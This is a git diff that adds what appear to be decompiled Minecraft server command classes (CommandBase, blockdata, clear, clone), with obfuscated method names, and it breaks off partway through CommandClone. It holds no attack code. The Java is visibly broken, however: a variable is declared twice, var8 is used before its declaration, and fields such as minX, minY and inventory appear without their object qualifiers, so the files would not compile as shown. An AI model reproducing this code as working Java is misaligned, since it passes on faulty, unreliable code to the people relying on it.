+    float var20 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e + 2) - field_147629_c;
+    float var21 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 2 + 0) - field_147630_a;
+    float var22 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 2 + 1) - field_147628_b;
+    float var23 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 2 + 2) - field_147629_c;
+    float var24 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 3 + 0) - field_147630_a;
+    float var25 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 3 + 1) - field_147628_b;
+    float var26 = field_147627_d.get(p_compare_2_.intValue() + field_178079_e * 3 + 2) - field_147629_c;
+    float var27 = (var3 + var6 + var9 + var12) * 0.25F;
+    float var28 = (var4 + var7 + var10 + var13) * 0.25F;
+    float var29 = (var5 + var8 + var11 + var14) * 0.25F;
+    float var30 = (var15 + var18 + var21 + var24) * 0.25F;
+    float var31 = (var16 + var19 + var22 + var25) * 0.25F;
+    float var32 = (var17 + var20 + var23 + var26) * 0.25F;
+    float var33 = var27 * var27 + var28 * var28 + var29 * var29;
+    float var34 = var30 * var30 + var31 * var31 + var32 * var32;
+    return Float.compare(var34, var33);
+  }
+  
+  public int compare(Object p_compare_1_, Object p_compare_2_)
+  {
+    return compare((Integer)p_compare_1_, (Integer)p_compare_2_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandBase.java b/src/minecraft/net/minecraft/command/CommandBase.java
new file mode 100644
index 0000000..e87be21
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandBase.java
@@ -0,0 +1,756 @@
+package net.minecraft.command;
+
+import com.google.common.collect.Iterables;
+import com.google.common.collect.Lists;
+import com.google.common.primitives.Doubles;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.item.Item;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.server.management.ServerConfigurationManager;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.RegistryNamespaced;
+import net.minecraft.util.RegistryNamespacedDefaultedByKey;
+import net.minecraft.util.ResourceLocation;
+
+public abstract class CommandBase implements ICommand
+{
+  private static IAdminCommand theAdmin;
+  private static final String __OBFID = "CL_00001739";
+  
+  public CommandBase() {}
+  
+  public int getRequiredPermissionLevel()
+  {
+    return 4;
+  }
+  
+  public List getCommandAliases()
+  {
+    return java.util.Collections.emptyList();
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(ICommandSender sender)
+  {
+    return sender.canCommandSenderUseCommand(getRequiredPermissionLevel(), getCommandName());
+  }
+  
+  public List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return null;
+  }
+  
+  public static int parseInt(String input) throws NumberInvalidException
+  {
+    try
+    {
+      return Integer.parseInt(input);
+    }
+    catch (NumberFormatException var2)
+    {
+      throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { input });
+    }
+  }
+  
+  public static int parseInt(String input, int min) throws NumberInvalidException
+  {
+    return parseInt(input, min, Integer.MAX_VALUE);
+  }
+  
+  public static int parseInt(String input, int min, int max) throws NumberInvalidException
+  {
+    int var3 = parseInt(input);
+    
+    if (var3 < min)
+    {
+      throw new NumberInvalidException("commands.generic.num.tooSmall", new Object[] { Integer.valueOf(var3), Integer.valueOf(min) });
+    }
+    if (var3 > max)
+    {
+      throw new NumberInvalidException("commands.generic.num.tooBig", new Object[] { Integer.valueOf(var3), Integer.valueOf(max) });
+    }
+    
+
+    return var3;
+  }
+  
+  public static long parseLong(String input)
+    throws NumberInvalidException
+  {
+    try
+    {
+      return Long.parseLong(input);
+    }
+    catch (NumberFormatException var2)
+    {
+      throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { input });
+    }
+  }
+  
+  public static long parseLong(String input, long min, long max) throws NumberInvalidException
+  {
+    long var5 = parseLong(input);
+    
+    if (var5 < min)
+    {
+      throw new NumberInvalidException("commands.generic.num.tooSmall", new Object[] { Long.valueOf(var5), Long.valueOf(min) });
+    }
+    if (var5 > max)
+    {
+      throw new NumberInvalidException("commands.generic.num.tooBig", new Object[] { Long.valueOf(var5), Long.valueOf(max) });
+    }
+    
+
+    return var5;
+  }
+  
+  public static BlockPos func_175757_a(ICommandSender sender, String[] args, int p_175757_2_, boolean p_175757_3_)
+    throws NumberInvalidException
+  {
+    BlockPos var4 = sender.getPosition();
+    return new BlockPos(func_175769_b(var4.getX(), args[p_175757_2_], -30000000, 30000000, p_175757_3_), func_175769_b(var4.getY(), args[(p_175757_2_ + 1)], 0, 256, false), func_175769_b(var4.getZ(), args[(p_175757_2_ + 2)], -30000000, 30000000, p_175757_3_));
+  }
+  
+  public static double parseDouble(String input) throws NumberInvalidException
+  {
+    try
+    {
+      double var1 = Double.parseDouble(input);
+      
+      if (!Doubles.isFinite(var1))
+      {
+        throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { input });
+      }
+      
+
+      return var1;
+
+    }
+    catch (NumberFormatException var3)
+    {
+      throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { input });
+    }
+  }
+  
+  public static double parseDouble(String input, double min) throws NumberInvalidException
+  {
+    return parseDouble(input, min, Double.MAX_VALUE);
+  }
+  
+  public static double parseDouble(String input, double min, double max) throws NumberInvalidException
+  {
+    double var5 = parseDouble(input);
+    
+    if (var5 < min)
+    {
+      throw new NumberInvalidException("commands.generic.double.tooSmall", new Object[] { Double.valueOf(var5), Double.valueOf(min) });
+    }
+    if (var5 > max)
+    {
+      throw new NumberInvalidException("commands.generic.double.tooBig", new Object[] { Double.valueOf(var5), Double.valueOf(max) });
+    }
+    
+
+    return var5;
+  }
+  
+  public static boolean parseBoolean(String input)
+    throws CommandException
+  {
+    if ((!input.equals("true")) && (!input.equals("1")))
+    {
+      if ((!input.equals("false")) && (!input.equals("0")))
+      {
+        throw new CommandException("commands.generic.boolean.invalid", new Object[] { input });
+      }
+      
+
+      return false;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+  public static EntityPlayerMP getCommandSenderAsPlayer(ICommandSender sender)
+    throws PlayerNotFoundException
+  {
+    if ((sender instanceof EntityPlayerMP))
+    {
+      return (EntityPlayerMP)sender;
+    }
+    
+
+    throw new PlayerNotFoundException("You must specify which player you wish to perform this action on.", new Object[0]);
+  }
+  
+  public static EntityPlayerMP getPlayer(ICommandSender sender, String username)
+    throws PlayerNotFoundException
+  {
+    EntityPlayerMP var2 = PlayerSelector.matchOnePlayer(sender, username);
+    
+    if (var2 == null)
+    {
+      try
+      {
+        var2 = MinecraftServer.getServer().getConfigurationManager().func_177451_a(UUID.fromString(username));
+      }
+      catch (IllegalArgumentException localIllegalArgumentException) {}
+    }
+    
+
+
+
+    if (var2 == null)
+    {
+      var2 = MinecraftServer.getServer().getConfigurationManager().getPlayerByUsername(username);
+    }
+    
+    if (var2 == null)
+    {
+      throw new PlayerNotFoundException();
+    }
+    
+
+    return var2;
+  }
+  
+  public static Entity func_175768_b(ICommandSender p_175768_0_, String p_175768_1_)
+    throws EntityNotFoundException
+  {
+    return func_175759_a(p_175768_0_, p_175768_1_, Entity.class);
+  }
+  
+  public static Entity func_175759_a(ICommandSender p_175759_0_, String p_175759_1_, Class p_175759_2_) throws EntityNotFoundException
+  {
+    Object var3 = PlayerSelector.func_179652_a(p_175759_0_, p_175759_1_, p_175759_2_);
+    MinecraftServer var4 = MinecraftServer.getServer();
+    
+    if (var3 == null)
+    {
+      var3 = var4.getConfigurationManager().getPlayerByUsername(p_175759_1_);
+    }
+    
+    if (var3 == null)
+    {
+      try
+      {
+        UUID var5 = UUID.fromString(p_175759_1_);
+        var3 = var4.getEntityFromUuid(var5);
+        
+        if (var3 == null)
+        {
+          var3 = var4.getConfigurationManager().func_177451_a(var5);
+        }
+      }
+      catch (IllegalArgumentException var6)
+      {
+        throw new EntityNotFoundException("commands.generic.entity.invalidUuid", new Object[0]);
+      }
+    }
+    
+    if ((var3 != null) && (p_175759_2_.isAssignableFrom(var3.getClass())))
+    {
+      return (Entity)var3;
+    }
+    
+
+    throw new EntityNotFoundException();
+  }
+  
+  public static List func_175763_c(ICommandSender p_175763_0_, String p_175763_1_)
+    throws EntityNotFoundException
+  {
+    return PlayerSelector.hasArguments(p_175763_1_) ? PlayerSelector.func_179656_b(p_175763_0_, p_175763_1_, Entity.class) : Lists.newArrayList(new Entity[] { func_175768_b(p_175763_0_, p_175763_1_) });
+  }
+  
+  public static String getPlayerName(ICommandSender sender, String query) throws PlayerNotFoundException
+  {
+    try
+    {
+      return getPlayer(sender, query).getName();
+    }
+    catch (PlayerNotFoundException var3)
+    {
+      if (PlayerSelector.hasArguments(query))
+      {
+        throw var3;
+      }
+    }
+    
+    return query;
+  }
+  
+
+  public static String func_175758_e(ICommandSender p_175758_0_, String p_175758_1_)
+    throws EntityNotFoundException
+  {
+    try
+    {
+      return getPlayer(p_175758_0_, p_175758_1_).getName();
+    }
+    catch (PlayerNotFoundException var5)
+    {
+      try
+      {
+        return func_175768_b(p_175758_0_, p_175758_1_).getUniqueID().toString();
+      }
+      catch (EntityNotFoundException var4)
+      {
+        if (PlayerSelector.hasArguments(p_175758_1_))
+        {
+          throw var4;
+        }
+      }
+    }
+    return p_175758_1_;
+  }
+  
+
+
+  public static IChatComponent getChatComponentFromNthArg(ICommandSender sender, String[] args, int p_147178_2_)
+    throws CommandException
+  {
+    return getChatComponentFromNthArg(sender, args, p_147178_2_, false);
+  }
+  
+  public static IChatComponent getChatComponentFromNthArg(ICommandSender sender, String[] args, int index, boolean p_147176_3_) throws PlayerNotFoundException
+  {
+    ChatComponentText var4 = new ChatComponentText("");
+    
+    for (int var5 = index; var5 < args.length; var5++)
+    {
+      if (var5 > index)
+      {
+        var4.appendText(" ");
+      }
+      
+      Object var6 = new ChatComponentText(args[var5]);
+      
+      if (p_147176_3_)
+      {
+        IChatComponent var7 = PlayerSelector.func_150869_b(sender, args[var5]);
+        
+        if (var7 == null)
+        {
+          if (PlayerSelector.hasArguments(args[var5]))
+          {
+            throw new PlayerNotFoundException();
+          }
+          
+        }
+        else {
+          var6 = var7;
+        }
+      }
+      
+      var4.appendSibling((IChatComponent)var6);
+    }
+    
+    return var4;
+  }
+  
+  public static String func_180529_a(String[] p_180529_0_, int p_180529_1_)
+  {
+    StringBuilder var2 = new StringBuilder();
+    
+    for (int var3 = p_180529_1_; var3 < p_180529_0_.length; var3++)
+    {
+      if (var3 > p_180529_1_)
+      {
+        var2.append(" ");
+      }
+      
+      String var4 = p_180529_0_[var3];
+      var2.append(var4);
+    }
+    
+    return var2.toString();
+  }
+  
+  public static CoordinateArg func_175770_a(double p_175770_0_, String p_175770_2_, boolean p_175770_3_) throws NumberInvalidException
+  {
+    return func_175767_a(p_175770_0_, p_175770_2_, -30000000, 30000000, p_175770_3_);
+  }
+  
+  public static CoordinateArg func_175767_a(double p_175767_0_, String p_175767_2_, int p_175767_3_, int p_175767_4_, boolean p_175767_5_) throws NumberInvalidException
+  {
+    boolean var6 = p_175767_2_.startsWith("~");
+    
+    if ((var6) && (Double.isNaN(p_175767_0_)))
+    {
+      throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { Double.valueOf(p_175767_0_) });
+    }
+    
+
+    double var7 = 0.0D;
+    
+    if ((!var6) || (p_175767_2_.length() > 1))
+    {
+      boolean var9 = p_175767_2_.contains(".");
+      
+      if (var6)
+      {
+        p_175767_2_ = p_175767_2_.substring(1);
+      }
+      
+      var7 += parseDouble(p_175767_2_);
+      
+      if ((!var9) && (!var6) && (p_175767_5_))
+      {
+        var7 += 0.5D;
+      }
+    }
+    
+    if ((p_175767_3_ != 0) || (p_175767_4_ != 0))
+    {
+      if (var7 < p_175767_3_)
+      {
+        throw new NumberInvalidException("commands.generic.double.tooSmall", new Object[] { Double.valueOf(var7), Integer.valueOf(p_175767_3_) });
+      }
+      
+      if (var7 > p_175767_4_)
+      {
+        throw new NumberInvalidException("commands.generic.double.tooBig", new Object[] { Double.valueOf(var7), Integer.valueOf(p_175767_4_) });
+      }
+    }
+    
+    return new CoordinateArg(var7 + (var6 ? p_175767_0_ : 0.0D), var7, var6);
+  }
+  
+  public static double func_175761_b(double p_175761_0_, String p_175761_2_, boolean p_175761_3_)
+    throws NumberInvalidException
+  {
+    return func_175769_b(p_175761_0_, p_175761_2_, -30000000, 30000000, p_175761_3_);
+  }
+  
+  public static double func_175769_b(double base, String input, int min, int max, boolean centerBlock) throws NumberInvalidException
+  {
+    boolean var6 = input.startsWith("~");
+    
+    if ((var6) && (Double.isNaN(base)))
+    {
+      throw new NumberInvalidException("commands.generic.num.invalid", new Object[] { Double.valueOf(base) });
+    }
+    
+
+    double var7 = var6 ? base : 0.0D;
+    
+    if ((!var6) || (input.length() > 1))
+    {
+      boolean var9 = input.contains(".");
+      
+      if (var6)
+      {
+        input = input.substring(1);
+      }
+      
+      var7 += parseDouble(input);
+      
+      if ((!var9) && (!var6) && (centerBlock))
+      {
+        var7 += 0.5D;
+      }
+    }
+    
+    if ((min != 0) || (max != 0))
+    {
+      if (var7 < min)
+      {
+        throw new NumberInvalidException("commands.generic.double.tooSmall", new Object[] { Double.valueOf(var7), Integer.valueOf(min) });
+      }
+      
+      if (var7 > max)
+      {
+        throw new NumberInvalidException("commands.generic.double.tooBig", new Object[] { Double.valueOf(var7), Integer.valueOf(max) });
+      }
+    }
+    
+    return var7;
+  }
+  
+
+
+
+
+
+  public static Item getItemByText(ICommandSender sender, String id)
+    throws NumberInvalidException
+  {
+    ResourceLocation var2 = new ResourceLocation(id);
+    Item var3 = (Item)Item.itemRegistry.getObject(var2);
+    
+    if (var3 == null)
+    {
+      throw new NumberInvalidException("commands.give.notFound", new Object[] { var2 });
+    }
+    
+
+    return var3;
+  }
+  
+
+
+
+
+
+  public static Block getBlockByText(ICommandSender sender, String id)
+    throws NumberInvalidException
+  {
+    ResourceLocation var2 = new ResourceLocation(id);
+    
+    if (!Block.blockRegistry.containsKey(var2))
+    {
+      throw new NumberInvalidException("commands.give.notFound", new Object[] { var2 });
+    }
+    
+
+    Block var3 = (Block)Block.blockRegistry.getObject(var2);
+    
+    if (var3 == null)
+    {
+      throw new NumberInvalidException("commands.give.notFound", new Object[] { var2 });
+    }
+    
+
+    return var3;
+  }
+  
+
+
+
+
+
+
+  public static String joinNiceString(Object[] elements)
+  {
+    StringBuilder var1 = new StringBuilder();
+    
+    for (int var2 = 0; var2 < elements.length; var2++)
+    {
+      String var3 = elements[var2].toString();
+      
+      if (var2 > 0)
+      {
+        if (var2 == elements.length - 1)
+        {
+          var1.append(" and ");
+        }
+        else
+        {
+          var1.append(", ");
+        }
+      }
+      
+      var1.append(var3);
+    }
+    
+    return var1.toString();
+  }
+  
+  public static IChatComponent join(List components)
+  {
+    ChatComponentText var1 = new ChatComponentText("");
+    
+    for (int var2 = 0; var2 < components.size(); var2++)
+    {
+      if (var2 > 0)
+      {
+        if (var2 == components.size() - 1)
+        {
+          var1.appendText(" and ");
+        }
+        else if (var2 > 0)
+        {
+          var1.appendText(", ");
+        }
+      }
+      
+      var1.appendSibling((IChatComponent)components.get(var2));
+    }
+    
+    return var1;
+  }
+  
+
+
+
+
+
+  public static String joinNiceStringFromCollection(Collection strings)
+  {
+    return joinNiceString(strings.toArray(new String[strings.size()]));
+  }
+  
+  public static List func_175771_a(String[] p_175771_0_, int p_175771_1_, BlockPos p_175771_2_)
+  {
+    if (p_175771_2_ == null)
+    {
+      return null;
+    }
+    
+    String var3;
+    
+    String var3;
+    if (p_175771_0_.length - 1 == p_175771_1_)
+    {
+      var3 = Integer.toString(p_175771_2_.getX());
+    } else { String var3;
+      if (p_175771_0_.length - 1 == p_175771_1_ + 1)
+      {
+        var3 = Integer.toString(p_175771_2_.getY());
+      }
+      else
+      {
+        if (p_175771_0_.length - 1 != p_175771_1_ + 2)
+        {
+          return null;
+        }
+        
+        var3 = Integer.toString(p_175771_2_.getZ());
+      }
+    }
+    return Lists.newArrayList(new String[] { var3 });
+  }
+  
+
+
+
+
+  public static boolean doesStringStartWith(String original, String region)
+  {
+    return region.regionMatches(true, 0, original, 0, original.length());
+  }
+  
+
+
+
+
+  public static List getListOfStringsMatchingLastWord(String[] args, String... possibilities)
+  {
+    return func_175762_a(args, Arrays.asList(possibilities));
+  }
+  
+  public static List func_175762_a(String[] p_175762_0_, Collection p_175762_1_)
+  {
+    String var2 = p_175762_0_[(p_175762_0_.length - 1)];
+    ArrayList var3 = Lists.newArrayList();
+    
+    if (!p_175762_1_.isEmpty())
+    {
+      Iterator var4 = Iterables.transform(p_175762_1_, com.google.common.base.Functions.toStringFunction()).iterator();
+      
+      while (var4.hasNext())
+      {
+        String var5 = (String)var4.next();
+        
+        if (doesStringStartWith(var2, var5))
+        {
+          var3.add(var5);
+        }
+      }
+      
+      if (var3.isEmpty())
+      {
+        var4 = p_175762_1_.iterator();
+        
+        while (var4.hasNext())
+        {
+          Object var6 = var4.next();
+          
+          if (((var6 instanceof ResourceLocation)) && (doesStringStartWith(var2, ((ResourceLocation)var6).getResourcePath())))
+          {
+            var3.add(String.valueOf(var6));
+          }
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return false;
+  }
+  
+  public static void notifyOperators(ICommandSender sender, ICommand command, String msgFormat, Object... msgParams)
+  {
+    notifyOperators(sender, command, 0, msgFormat, msgParams);
+  }
+  
+  public static void notifyOperators(ICommandSender sender, ICommand command, int p_152374_2_, String msgFormat, Object... msgParams)
+  {
+    if (theAdmin != null)
+    {
+      theAdmin.notifyOperators(sender, command, p_152374_2_, msgFormat, msgParams);
+    }
+  }
+  
+
+
+
+  public static void setAdminCommander(IAdminCommand command)
+  {
+    theAdmin = command;
+  }
+  
+  public int compareTo(ICommand p_compareTo_1_)
+  {
+    return getCommandName().compareTo(p_compareTo_1_.getCommandName());
+  }
+  
+  public int compareTo(Object p_compareTo_1_)
+  {
+    return compareTo((ICommand)p_compareTo_1_);
+  }
+  
+  public static class CoordinateArg
+  {
+    private final double field_179633_a;
+    private final double field_179631_b;
+    private final boolean field_179632_c;
+    private static final String __OBFID = "CL_00002365";
+    
+    protected CoordinateArg(double p_i46051_1_, double p_i46051_3_, boolean p_i46051_5_)
+    {
+      field_179633_a = p_i46051_1_;
+      field_179631_b = p_i46051_3_;
+      field_179632_c = p_i46051_5_;
+    }
+    
+    public double func_179628_a()
+    {
+      return field_179633_a;
+    }
+    
+    public double func_179629_b()
+    {
+      return field_179631_b;
+    }
+    
+    public boolean func_179630_c()
+    {
+      return field_179632_c;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandBlockData.java b/src/minecraft/net/minecraft/command/CommandBlockData.java
new file mode 100644
index 0000000..a27b3b6
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandBlockData.java
@@ -0,0 +1,99 @@
+package net.minecraft.command;
+
+import net.minecraft.nbt.NBTException;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class CommandBlockData extends CommandBase
+{
+  private static final String __OBFID = "CL_00002349";
+  
+  public CommandBlockData() {}
+  
+  public String getCommandName()
+  {
+    return "blockdata";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.blockdata.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 4)
+    {
+      throw new WrongUsageException("commands.blockdata.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    World var4 = sender.getEntityWorld();
+    
+    if (!var4.isBlockLoaded(var3))
+    {
+      throw new CommandException("commands.blockdata.outOfWorld", new Object[0]);
+    }
+    
+
+    TileEntity var5 = var4.getTileEntity(var3);
+    
+    if (var5 == null)
+    {
+      throw new CommandException("commands.blockdata.notValid", new Object[0]);
+    }
+    
+
+    NBTTagCompound var6 = new NBTTagCompound();
+    var5.writeToNBT(var6);
+    NBTTagCompound var7 = (NBTTagCompound)var6.copy();
+    
+
+    try
+    {
+      var8 = net.minecraft.nbt.JsonToNBT.func_180713_a(getChatComponentFromNthArg(sender, args, 3).getUnformattedText());
+    }
+    catch (NBTException var10) {
+      NBTTagCompound var8;
+      throw new CommandException("commands.blockdata.tagError", new Object[] { var10.getMessage() });
+    }
+    NBTTagCompound var8;
+    var6.merge(var8);
+    var6.setInteger("x", var3.getX());
+    var6.setInteger("y", var3.getY());
+    var6.setInteger("z", var3.getZ());
+    
+    if (var6.equals(var7))
+    {
+      throw new CommandException("commands.blockdata.failed", new Object[] { var6.toString() });
+    }
+    
+
+    var5.readFromNBT(var6);
+    var5.markDirty();
+    var4.markBlockForUpdate(var3);
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 1);
+    notifyOperators(sender, this, "commands.blockdata.success", new Object[] { var6.toString() });
+  }
+  
+
+
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return (args.length > 0) && (args.length <= 3) ? func_175771_a(args, 0, pos) : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandClearInventory.java b/src/minecraft/net/minecraft/command/CommandClearInventory.java
new file mode 100644
index 0000000..f2e5438
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandClearInventory.java
@@ -0,0 +1,106 @@
+package net.minecraft.command;
+
+import net.minecraft.entity.player.EntityPlayerMP;
+import net.minecraft.inventory.Container;
+import net.minecraft.item.Item;
+import net.minecraft.nbt.JsonToNBT;
+import net.minecraft.nbt.NBTException;
+import net.minecraft.server.MinecraftServer;
+import net.minecraft.util.BlockPos;
+
+public class CommandClearInventory extends CommandBase
+{
+  private static final String __OBFID = "CL_00000218";
+  
+  public CommandClearInventory() {}
+  
+  public String getCommandName()
+  {
+    return "clear";
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.clear.usage";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    EntityPlayerMP var3 = args.length == 0 ? getCommandSenderAsPlayer(sender) : getPlayer(sender, args[0]);
+    Item var4 = args.length >= 2 ? getItemByText(sender, args[1]) : null;
+    int var5 = args.length >= 3 ? parseInt(args[2], -1) : -1;
+    int var6 = args.length >= 4 ? parseInt(args[3], -1) : -1;
+    net.minecraft.nbt.NBTTagCompound var7 = null;
+    
+    if (args.length >= 5)
+    {
+      try
+      {
+        var7 = JsonToNBT.func_180713_a(func_180529_a(args, 4));
+      }
+      catch (NBTException var9)
+      {
+        throw new CommandException("commands.clear.tagError", new Object[] { var9.getMessage() });
+      }
+    }
+    
+    if ((args.length >= 2) && (var4 == null))
+    {
+      throw new CommandException("commands.clear.failure", new Object[] { var3.getName() });
+    }
+    
+
+    int var8 = inventory.func_174925_a(var4, var5, var6, var7);
+    inventoryContainer.detectAndSendChanges();
+    
+    if (!capabilities.isCreativeMode)
+    {
+      var3.updateHeldItem();
+    }
+    
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_ITEMS, var8);
+    
+    if (var8 == 0)
+    {
+      throw new CommandException("commands.clear.failure", new Object[] { var3.getName() });
+    }
+    
+
+    if (var6 == 0)
+    {
+      sender.addChatMessage(new net.minecraft.util.ChatComponentTranslation("commands.clear.testing", new Object[] { var3.getName(), Integer.valueOf(var8) }));
+    }
+    else
+    {
+      notifyOperators(sender, this, "commands.clear.success", new Object[] { var3.getName(), Integer.valueOf(var8) });
+    }
+  }
+  
+
+
+  public java.util.List addTabCompletionOptions(ICommandSender sender, String[] args, BlockPos pos)
+  {
+    return args.length == 2 ? func_175762_a(args, Item.itemRegistry.getKeys()) : args.length == 1 ? getListOfStringsMatchingLastWord(args, func_147209_d()) : null;
+  }
+  
+  protected String[] func_147209_d()
+  {
+    return MinecraftServer.getServer().getAllUsernames();
+  }
+  
+
+
+
+  public boolean isUsernameIndex(String[] args, int index)
+  {
+    return index == 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/command/CommandClone.java b/src/minecraft/net/minecraft/command/CommandClone.java
new file mode 100644
index 0000000..eb3d932
--- /dev/null
+++ b/src/minecraft/net/minecraft/command/CommandClone.java
@@ -0,0 +1,292 @@
+package net.minecraft.command;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.LinkedList;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.NextTickListEntry;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.structure.StructureBoundingBox;
+
+public class CommandClone extends CommandBase
+{
+  private static final String __OBFID = "CL_00002348";
+  
+  public CommandClone() {}
+  
+  public String getCommandName()
+  {
+    return "clone";
+  }
+  
+
+
+
+  public int getRequiredPermissionLevel()
+  {
+    return 2;
+  }
+  
+  public String getCommandUsage(ICommandSender sender)
+  {
+    return "commands.clone.usage";
+  }
+  
+  public void processCommand(ICommandSender sender, String[] args) throws CommandException
+  {
+    if (args.length < 9)
+    {
+      throw new WrongUsageException("commands.clone.usage", new Object[0]);
+    }
+    
+
+    sender.func_174794_a(CommandResultStats.Type.AFFECTED_BLOCKS, 0);
+    BlockPos var3 = func_175757_a(sender, args, 0, false);
+    BlockPos var4 = func_175757_a(sender, args, 3, false);
+    BlockPos var5 = func_175757_a(sender, args, 6, false);
+    StructureBoundingBox var6 = new StructureBoundingBox(var3, var4);
+    StructureBoundingBox var7 = new StructureBoundingBox(var5, var5.add(var6.func_175896_b()));
+    int var8 = var6.getXSize() * var6.getYSize() * var6.getZSize();
+    
+    if (var8 > 32768)
+    {
+      throw new CommandException("commands.clone.tooManyBlocks", new Object[] { Integer.valueOf(var8), Integer.valueOf(32768) });
+    }
+    
+
+    boolean var9 = false;
+    Block var10 = null;
+    int var11 = -1;
+    
+    if (((args.length < 11) || ((!args[10].equals("force")) && (!args[10].equals("move")))) && (var6.intersectsWith(var7)))
+    {
+      throw new CommandException("commands.clone.noOverlap", new Object[0]);
+    }
+    
+
+    if ((args.length >= 11) && (args[10].equals("move")))
+    {
+      var9 = true;
+    }
+    
+    if ((minY >= 0) && (maxY < 256) && (minY >= 0) && (maxY < 256))
+    {
+      World var12 = sender.getEntityWorld();
+      
+      if ((var12.isAreaLoaded(var6)) && (var12.isAreaLoaded(var7)))
+      {
+        boolean var13 = false;
+        
+        if (args.length >= 10)
+        {
+          if (args[9].equals("masked"))
+          {
+            var13 = true;
+          }
+          else if (args[9].equals("filtered"))
+          {
+            if (args.length < 12)
+            {
+              throw new WrongUsageException("commands.clone.usage", new Object[0]);
+            }
+            
+            var10 = getBlockByText(sender, args[11]);
+            
+            if (args.length >= 13)
+            {
+              var11 = parseInt(args[12], 0, 15);
+            }
+          }
+        }
+        
+        ArrayList var14 = Lists.newArrayList();
+        ArrayList var15 = Lists.newArrayList();
+        ArrayList var16 = Lists.newArrayList();
+        LinkedList var17 = Lists.newLinkedList();
+        BlockPos var18 = new BlockPos(minX - minX, minY - minY, minZ - minZ);
+        
+        for (int var19 = minZ; var19 <= maxZ; var19++)
+        {
+          for (int var20 = minY; var20 <= maxY; var20++)
+          {
+            for (int var21 = minX; var21 <= maxX; var21++)
+            {
+              BlockPos var22 = new BlockPos(var21, var20, var19);
+              BlockPos var23 = var22.add(var18);
+              IBlockState var24 = var12.getBlockState(var22);
+              
+              if (((!var13) || (var24.getBlock() != net.minecraft.init.Blocks.air)) && ((var10 == null) || ((var24.getBlock() == var10) && ((var11 < 0) || (var24.getBlock().getMetaFromState(var24) == var11)))))
+              {
+                TileEntity var25 = var12.getTileEntity(var22);
+                
+                if (var25 != null)
+                {
+                  NBTTagCompound var26 = new NBTTagCompound();
+                  var25.writeToNBT(var26);
+                  var15.add(new StaticCloneData(var23, var24, var26));
+                  var17.addLast(var22);
+                }
+                else if ((!var24.getBlock().isFullBlock()) && (!var24.getBlock().isFullCube()))
+                {
+                  var16.add(new StaticCloneData(var23, var24, null));
+                  var17.addFirst(var22);
+                }
+                else
+                {
+                  var14.add(new StaticCloneData(var23, var24, null));
+                  var17.addLast(var22);
+                }
+              }
+            }
+          }
+        }
+        
+        if (var9)
+        {
+          BlockPos var29;
+          
+
+          for (Iterator var27 = var17.iterator(); var27.hasNext(); var12.setBlockState(var29, net.minecraft.init.Blocks.barrier.getDefaultState(), 2))
+          {
+            var29 = (BlockPos)var27.next();
+            TileEntity var31 = var12.getTileEntity(var29);
+            
+            if ((var31 instanceof IInventory))
+            {
+              ((IInventory)var31).clearInventory();
+            }
+          }
+          
+          var27 = var17.iterator();
+          
+          while (var27.hasNext())
+          {
+            BlockPos var29 = (BlockPos)var27.next();
+            var12.setBlockState(var29, net.minecraft.init.Blocks.air.getDefaultState(), 3);
+          }
+        }
+        
+        ArrayList var28 = Lists.newArrayList();
+        var28.addAll(var14);
+        var28.addAll(var15);
+        var28.addAll(var16);
+        java.util.List var30 = Lists.reverse(var28);
+        
+
+        StaticCloneData var34;
+        
